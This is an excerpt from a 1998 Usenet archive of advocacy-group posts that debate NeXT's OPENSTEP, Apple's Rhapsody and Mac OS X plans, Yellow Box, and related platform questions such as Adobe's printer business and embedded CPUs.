>and depth of the source and target systems may differ, and all kinds of bad
>things happen.
What makes you think there won't be a drawing commands that can be
packaged in a stream format? After all, the graphic description
part of PDF is a pure stream format and that is the defined
interchange format.
['soft issues', programmers won't keep network graphics in mind
if they're not forced to do that]
This is an excellent point, IMHO. A lot of what makes/made
NS/OS/YB great are the soft issues. We should provide feedback
to Apple about making the API *look* like it's a network graphics
system, with synchronization etc. even if it won't be implemented
that way at first.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Sat, 23 May 1998 12:43:49 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6k720c$11q82@odie.mcleod.net>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <see-below-2205980154480001@209.24.240.67> <6k4hu6$sol$1@geraldo.cc.utexas.edu> <aa829-2305981123020001@port11.dialb2.gain-ny.com>
Charlie Mingo wrote in message ...
>In article <6k4hu6$sol$1@geraldo.cc.utexas.edu>,
>kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
>
>> Also, perhaps the software you want runs under a different OS
>> than your client machine? Then how will Sassafras help?
>
>If the client and the server ends run on different OS's, then how could
>NSXHosting help (since it never was a cross-platform standard)?
>
NSHosting works great between Openstep/Mach and Openstep Enterprise
(YellowBox) for NT applications.
NXHosting works great between NeXTstep Mach Sparc and NeXTstep Mach Intel
and NeXtstep Mach 68k.
NSHosting probably works with Sun's Openstep for Solaris, but I don't have
that to try.
From: rkt1@cornell.eduz (Tapella)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: Sat, 23 May 1998 14:07:35 -0400
Organization: Cornell U.
Sender: rkt1@cornell.edu (Verified)
Message-ID: <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com>
> >> I've seen what Apple is doing to nextstep to create Rhapsody,
> >> have heard what it is doing to create OS X and really aren't excited
> >> about either.
> >
> >There are still many aspects of both that are superior to NEXTSTEP.
> >Just not the UI (IMHO).
> >
>
> Not having been able to play with a DR of Rhapsody, I haven't
> seen everything about the UI. The parts that I did see on stepwise
> looked like someone tried to graft the worst features of MacOS on
> nextstep and get rid of some of the really cool nextstep features like
> the dock.
I think something we all forget quite often is that Apple didn't buy NeXT
so that they could get OPENSTEP. They bought NeXT so they could make the
next MacOS, which is what they're doing. It just happens that all the
core stuff is from OPENSTEP (which, again, is why they bought it). I think
it's wrong to assume that they'd have the OPENSTEP interface, since it's
supposed to be the MacOS after all. With Carbon, we finally have a real
OPENSTEP/MacOS "meld", even though all the goodies under the hood are from
OPENSTEP and it's quite easy to just think of Rhapsody/OS X as your old
OS system with an extra API layer. That's not what it's marketed as, and
that's not what it's intended to be.
As far as I can tell, the worst loss is the "look" of the UI rather than
the "feel". The MacOS UI is well-planned and efficient. Some new elements
will be added like tear-off menus that will make it more powerful. (Although
when I tried using tear-off menus via the Mac program 'Power Menus' I didn't
find any use for them. They only seem to be useful when you don't have the
constant menu bar at the top of the screen -- thus, they were useful in
the old NeXT menu system but not in MacOS. The menu-bar-on top is actually
quite effective, although I could see being put off by it if you're used
to OS or X-windows, where there are no menus to be found. The MacOS style
menu bar is about as fast as the popup menus, since you can just ram your
mouse up to the top of the screen. (On a big monitor where you're trying
to move all the way across the screen, it isn't as fast, but how often
does that occur? Having tear-off menus would probably help with this!)
[Note: I didn't use OS extensively when I had a chance
to, and I don't have any Rhapsody DR1/2 experience at all, so I'm just
trying to make an educated guess as to what's been lost in the transition.]
Rob.
Date: Sat, 23 May 1998 07:10:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-2305980710500001@elk89.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jq20b$khp@newsb.netnews.att.com> <ericb-2005981940250001@132.236.171.104> <35642793.C2A7D977@milestonerdl.com> <6k226v$6g3$1@news.digifix.com> <joe.ragosta-2105981725040001@wil97.dol.net> <35655B67.852C81BD@milestonerdl.com>
In article <35655B67.852C81BD@milestonerdl.com>, m rassbach
<mark@milestonerdl.com> wrote:
> Joe Ragosta wrote:
>
> > The way I see it, Yellow Box is the premier cross-platform environment
> > (better than Java from what I've seen).
>
> Except that you can't run YB on any Unix, save Apple. Java you can. If Apple
> wanted the 'premier cross-platform environment' YB would have to go where Java
> does....and, well, it can't.
I agree that Apple should get YB everywhere.
BUT, that doesn't negate my statement. YB is certainly a cross-platform
environment. Unless you determine the quality of a programming environment
simply by measuring the number of platforms it supports, then YB is the
best.
Of course, if you merely count the number of platforms supported, Basic
destroys Java, but that's not saying much, is it?
>
> > It also has the best development
> > tools on the planet. 10 years from now, I would hope that Carbon is
> > history and everyone's doing YB development.
>
> In tool development, others are not standing still.
Nor it Apple.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 23 May 1998 08:14:50 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-2305980814510001@elk89.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <01bd85a8$4bed8860$04387880@test1> <3565BC52.B03EB5FC@nstar.net> <joe.ragosta-2205981514220001@wil124.dol.net> <3565F1AE.83D9D1A8@nstar.net>
In article <3565F1AE.83D9D1A8@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
> >
> > In article <3565BC52.B03EB5FC@nstar.net>, "Michael J. Peck"
> > <mjpeck@nstar.net> wrote:
> >
> > > Microsoft's products are *BETTER*. I wonder that you can at once say "NT
> > > has a huge application base" and "Microsoft makes inferior products".
> > > That's a blatant contradiction. Microsoft makes products that are better
> > > for their customers and as a result their customers buy them.
> >
> > Nonsense. You don't seem to be able to differentiate between quantity and
> > quality.
>
> You don't seem to be able to understand that sometimes (not always),
> quantity *does* equal quality.
>
> And that's just part of the entire value proposition of Windows NT.
> Something else you apparently missed.
Good example. By your definition, Win95 is a better OS than WinNT because
more people use it.
You're contradicting yourself.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 23 May 1998 13:22:45 -0500
Organization: Prairie Group
Message-ID: <MPG.fd0cff1eba9530f98973d@news.supernews.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jq20b$khp@newsb.netnews.att.com> <ericb-2005981940250001@132.236.171.104> <35642793.C2A7D977@milestonerdl.com> <6k226v$6g3$1@news.digifix.com> <joe.ragosta-2105981725040001@wil97.dol.net> <35655B67.852C81BD@milestonerdl.com> <joe.ragosta-2305980710500001@elk89.dol.net>
In article <joe.ragosta-2305980710500001@elk89.dol.net>,
joe.ragosta@dol.net says...
> BUT, that doesn't negate my statement. YB is certainly a cross-platform
> environment. Unless you determine the quality of a programming environment
> simply by measuring the number of platforms it supports, then YB is the
> best.
>
In the normal terminology, when we've talked about cross-platform Mac and
Windows, it presumes that it means it runs under MacOS 7.x or 8.x or
something mainstream shipping now.
In that case, YB is not a cross-platform environment, it's a 95/NT
development environment. Because I can't use it to write a program my
Mac customers can run.
Donald
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <nagleEtFAEt.D2H@netcom.com>
Organization: Netcom On-Line Services
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47> <joe.ragosta-2105982051550001@elk126.dol.net> <see-below-2105981906100001@209.24.241.47> <356564CF.B5BC821A@milestonerdl.com>
Date: Sat, 23 May 1998 18:37:41 GMT
Sender: nagle@netcom6.netcom.com
m rassbach <mark@milestonerdl.com> writes:
>What is one of the big markets for motorola? Communications, was radios, now
>phones. What drives phone switches? Microprocessors. There is NO reason why
>Motorola couldn't make a design that served BOTH the 'embedded' and the
>'general' market.
Embedded system CPUs have prices from US$0.50 to maybe $50, tops.
The under $10 range has most of the embedded market. On the other hand,
CPUs for desktop systems are running from $200 up to over $1000.
The embedded parts typically are much smaller and cheaper, to meet that
cost structure.
John Nagle
From: anders@common.se
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Sat, 23 May 1998 18:37:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6k751q$pqj$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7rF0.8DH@midway.uchicago.edu> <don_arb-1905981147250001@sea-ts4-p67.wolfenet.com> <35633A4A.674666DC@alumni.caltech.edu> <6k1da3$6hd$1@nnrp1.dejanews.com> <6k1q86$sr4$2@ironhorse.plsys.co.uk>
In article <6k1q86$sr4$2@ironhorse.plsys.co.uk>,
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > In all fairness, Apple did it twice too. Before Copland there was Pink/
> > Taligent, together with IBM and (if I remember correctly) HP.
> >
> IIRC Pink was in-house. It was folded into Taligent, after which it was just
> folded.
I think the in-house Pink was more of a research project on what an all-new OS
would look like if you could start again from scratch. For actual foundations,
Apple and Microsoft have both needed help (IBM, Digital, NeXT...). Microsoft
even more often so, if you count DOS. But both are essentially user-interface
and applications/system-services, not kernel, companies. There is of course
little doubt as to which is the most innovative. The life span of the original
in-house MacOS core is also quite impressive, considering its humble, pre-
Switcher beginnings. What I meant was simply that counting kernel acquisitions
is not a very meaningful comparison.
/A
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 23 May 1998 19:22:52 GMT
Organization: I don't think so
Message-ID: <slrn6me8nd.9ue.jason@jhste1.dyn.ml.org>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <slrn6mcq8v.7f0.jason@jhste1.dyn.ml.org> <3566CC56.F7135A68@nstar.net>
Michael J. Peck posted the following to comp.sys.mac.advocacy:
>> You do know that vi is not the only editor available for UNIX, of
>> course. Why not give them NEdit? - it's really nice, and would work
>> well for people who can't handle vi (and NEdit's much less confusing
>> than emacs).
>I've used NEdit, and Thot, and XCoral, and...Microsoft Word. I'm sorry,
>there's no comparison.
Well, of course not - you're comparing text editors to a word processor.
Would you want to write code in a word processor? Would you want to
format documents in a text editor?
--
In my opinion MS is a lot better at making money than it is at making
good operating systems.
-- Linus Torvalds (http://www.twics.com/~tlug/linus.html)
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 23 May 1998 19:58:02 GMT
Organization: Idiom Communications
Message-ID: <6k79oa$esk$1@news.idiom.com>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
<6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com>
<6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com>
<6k4a4d$f8a$1@news.cs.tu-berlin.de> <6k4kl0$jkd$3@news.idiom.com>
<6k70fe$l37$1@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: marcel@cs.tu-berlin.de
Let's not tar Adobe with Microsoft's brush.
First thing to remember, which is a point Apple and MicroSquish missed
altogether when they thought they could kill Adobe with TrueType: Adobe is a
Printer Controller company. If you maufacture a printing engine, you can go
to Adobe and they will build you a board that has postscript on it, that will
drive your machine.
Postscript Level III has the PDF interpreter built-in. The incentive for
printer manufacturers to buy Level III, is so that customers using PDF don't
have to deal with a PDF renderer on their host system.
Remember, the most important customers Adobe has, are the HP's, Epsons and
Lexmarks of the world. Not the people buying photoshop, not the people
buying fonts.
Remember also, that Adobe has competition when it comes to providing printer
controllers. Other vendors can offer other postscript implementations,
including Alladin's Ghostscript (I'm sure that many people don't realize you
can buy a printer with Ghostscript in ROM.)
Sure, if MicroSquish were in the printer controller business, they'd do
exactly as you describe, and Adobe might also, if they could get away with
it. However, I've seen no indication that Adobe is leaning on printer
manufacturers to accept reduced capabilites.
-jcr
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 23 May 1998 15:36:48 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35673360.5336C3C7@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net> <35651ADA.FEB13B57@nstar.net> <6k4kil$a9g3@odie.mcleod.net>
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Michelle L. Buck wrote:
> The one platform that almost all companies can safely but all their eggs in
> is Wintel.
Really? Tell us more Troll.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Sat, 23 May 1998 16:03:41 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <356739AD.2830B290@milestonerdl.com>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47> <joe.ragosta-2105982051550001@elk126.dol.net> <see-below-2105981906100001@209.24.241.47> <356564CF.B5BC821A@milestonerdl.com> <356668D2.BFB206DD@alumni.caltech.edu>
Mime-Version: 1.0
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William Edward Woody wrote:
> m rassbach wrote:
> > What is one of the big markets for motorola? Communications, was radios,
> > now phones. What drives phone switches? Microprocessors. There is NO
> > reason why Motorola couldn't make a design that served BOTH the 'embedded'
> > and the 'general' market.
>
> Don't understand hardware design, right?
Yea, I get SO confused. 4 years of electrical engineering will do that. And
the years of programming 8051 assembler is not too useful anymore. But, please
go on.
> No prob; I don't mind helping out.
I'm under NDA on most of the Motorola switches, but what I CAN tell you is:1)
the RP series is changing to PPC
2) version one emulates the Z8000, future versions are PPC native
3) the design is that of a GENERIC computer. Want addl/special functionality?
You ADD a card.
And the 'telcom trend' is to use generic PC's (meaning Intel) and you plug in
the interface card you need for the special functionality.
The example I gave was Telcom Switches. They are not constrained in the manners
you gave in your well-meaning reply.
> To suggest then that Motorola could create a "one design serves
> all" is naive.
One design, no. One design that serves MANY needs is not.
(Oh, and, Motorola actualy doesn't make the computers that go in their
switches.)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 23 May 1998 18:12:12 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k7hjs$bgl$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.n <35673360.5336C3C7@milestonerdl.com>
In article <35673360.5336C3C7@milestonerdl.com>, m rassbach <mark@milestonerdl.com> wrote:
> Michelle L. Buck wrote:
> > The one platform that almost all companies can safely but all their eggs in
> > is Wintel.
> Really? Tell us more Troll.
I think you don't know who you're talking to, if you think that Michelle
(or Erik) Buck are Wintel trolls.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 23 May 1998 15:37:47 -0700
Message-ID: <see-below-2305981537470001@209.24.241.7>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net>
In article <6k6rm4$nkn$3@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Joshua T. McKee wrote in message ...
> >It would be much more difficult for Netscape to provide this level of
> >functionality over Microsoft because Microsoft is the developer of the
> >OS. And Netscape still would not be able to preload it on computers like
> >Microsoft can. You think it's hard enough to get the "application"
> >version of Navigator pre-installed, just imagine how difficult it would be
> >if they made it like IE.
>
>
> I don't get it. Why would it be "much more difficult"? What would the
> problem be? Are you suggesting that Microsoft has left something
> undocumented, such that only "the developer of the OS" could successfully
> implement this feature?
Yes.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Sat, 23 May 1998 15:39:10 -0700
Message-ID: <see-below-2305981539100001@209.24.241.7>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <see-below-2205980154480001@209.24.240.67> <6k4hu6$sol$1@geraldo.cc.utexas.edu> <aa829-2305981123020001@port11.dialb2.gain-ny.com>
In article <aa829-2305981123020001@port11.dialb2.gain-ny.com>,
aa829@ccn.cs.dal.ca (Charlie Mingo) wrote:
> In article <6k4hu6$sol$1@geraldo.cc.utexas.edu>,
> kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
>
> > Also, perhaps the software you want runs under a different OS
> > than your client machine? Then how will Sassafras help?
>
> If the client and the server ends run on different OS's, then how could
> NSXHosting help (since it never was a cross-platform standard)?
Yes, good question. If the server is NT, then at least you can use
Citrix/Winframe (with clients on either Mac or PC), which appearantly
performs quite well.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: Sat, 23 May 1998 15:44:33 -0700
Message-ID: <see-below-2305981544330001@209.24.241.7>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net> <rmcassid-2305980010180001@dialin9223.slip.uci.edu> <3566CEAC.EC53C221@nstar.net>
In article <3566CEAC.EC53C221@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Robert Cassidy wrote:
>
> > And given that Apple helped design Altivec, I would
> > also assume they made sure it would do the kinds of things they need. What
> > I assume we would see is full Quicktime support including MPEG-2 encoding
> > and decoding. I also assume that Apple will push whatever 3D API it wishes
> > to support on it. Based on how many times I've now heard suggestions of
> > OpenGL support by Apple (including a few straight out statements that
> > OpenGL would be in QTML),
>
> OpenGL in QTML makes me nervous and unhappy. Does it require more memory
> than just-plain-OpenGL? Will straight OpenGL code compile, or will you
> have to make QTML gestalt and enable and initialize and
> god-know-what-else calls?
I agree. There should be OpenGL, period, a straight implementation for
mid/low level 3D calls. And there should be QuickDraw3D for high-level 3D
calls as part of QTML, which can access OpenGL and perhaps uses OpenGL for
its default renderer. But you certainly shouldn't need QuickTime to use
OpenGL. They definitely should be seperate installs.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: uli@tallowcross.uni-frankfurt.de (Uli Zappe)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 23 May 1998 22:39:14 GMT
Organization: NEXTTOYOU
Message-ID: <6k7j6i$7i5$1@tallowcross.uni-frankfurt.de>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>
NNTP-Posting-Date: 23 May 1998 22:39:14 GMT
rkt1@cornell.eduz (Tapella) wrote:
> As far as I can tell, the worst loss is the "look" of the UI rather than
> the "feel".
>[...]
> [Note: I didn't use OS extensively when I had a chance
> to, and I don't have any Rhapsody DR1/2 experience at all, so I'm just
> trying to make an educated guess as to what's been lost in the transition.]
Rob,
since you haven't had a lot of exposure to OPENSTEP, you, as obviously many
Mac users, doesn't seen to realize what the *really great* thing about
OPENSTEP was from a user's perspective, and what the *really great loss* is
now. OPENSTEP has been an OO operating system on a Mach kernel. All the talk
about preemptive multitasking etc. for MacOS only refers to the Mach kernel.
You wouldn't have needed OPENSTEP for that; this technology is really common
nowadays and any decent kernel would have sufficed.
But the really innovative thing about OPENSTEP was OO (object orientation). I
know this is talked about a lot, too, but only from a developer's
perspective: that YB makes development easy - something not directly
important to the user.
However, the user had great benefits from OPENSTEP's OO: since *every*
program under OPENSTEP was build from the same objects, it would behave
*exactly* the same, and everything integrated with everything. It's not just
strict UI guidelines, it's that the objects are *actually the same*. So e.g.
*every* text field everywhere behaved *exactly* the same, which made for
unparalleled intuitivity. Everything was connected with everything: you'd
only have *one* spell service for all of your programs, and if you liked to,
you could spell check even the names of your icons. You could use your
screenshot program form *inside* of every other program: say, in your text
editor you click on "grab window", point to a window, and immidiately the
window you grabbed appears as a picture exactly on the place the cursor in
your text window is at the moment (and this would also work e.g. for your
mail program, since the mail program uses the same text object...). If you
installed one program that was able e.g. to convert gif to tiff, then from
that very moment *every* program on your computer that could deal with tiffs
could also deal with gifs! Etc. etc, I could go on and on.
THIS is what made OPENSTEP so unbelievably great, not the nice icons, not
preemptive multitasking. And this would have been saved in Rhapsody, where
old programs would run separately in the blue box, but everything new would
be OO and would integrate with one another.
With carbon and MacOS X not being OO throughout, this is all lost. It would
have been the *one* thing where the new MacOS would have been years ahead of
Windows, but since Adobe, Macromedia & Co. wouldn't allow it, it's all been
sacrificed... :-((
Bye
Uli
--
_____________________________________________________________________
Uli Zappe E-Mail: uli@tallowcross.uni-frankfurt.de
(NeXTMail,Mime,ASCII) PGP on request
Lorscher Strasse 5 WWW: -
D-60489 Frankfurt Fon: +49 (69) 9784 0007
Germany Fax: +49 (69) 9784 0042
staff member of NEXTTOYOU - the German NEXTSTEP/OPENSTEP magazine
_____________________________________________________________________
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: Sat, 23 May 1998 15:51:32 -0700
Message-ID: <see-below-2305981551320001@209.24.241.7>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>
In article <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>,
rkt1@cornell.eduz (Tapella) wrote:
> As far as I can tell, the worst loss is the "look" of the UI rather than
> the "feel". The MacOS UI is well-planned and efficient.
I remember a year ago all the Next developers were complaining about how
sucky the Mac interface was compared to OpenStep, but they've been pretty
silent since. I was wondering if that was the NDA at work, or whether some
have actually changed their minds. I haven't used OpenStep or Rhapsody so
I can't compare, but I'm curious what you all think of the Mac interface
(at least as implemented in DR1/DR2) now?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 23 May 1998 22:49:59 GMT
Organization: Idiom Communications
Message-ID: <6k7jqn$30a$1@news.idiom.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com>
<356511FD.BD193ABF@nstar.n <35673360.5336C3C7@milestonerdl.com> <6k7hjs$bgl$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: nurban@crib.bevc.blacksburg.va.us
Nathan Urban may or may not have said:
-> In article <35673360.5336C3C7@milestonerdl.com>, m rassbach
<mark@milestonerdl.com> wrote:
->
-> > Michelle L. Buck wrote:
->
-> > > The one platform that almost all companies can safely but all their
eggs in
-> > > is Wintel.
->
-> > Really? Tell us more Troll.
->
-> I think you don't know who you're talking to, if you think that Michelle
-> (or Erik) Buck are Wintel trolls.
He's not trolling, but he is sounding like the voice of despair.
BTW, Eric: Why don't you post from an account in your own name? It gets
confusing!
-jcr
From: "David McCabe" <david.mccabe@balliol.oxford.ac.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 23 May 1998 23:53:09 +0100
Organization: Oxford University
Message-ID: <6k7k07$cs1$1@news.ox.ac.uk>
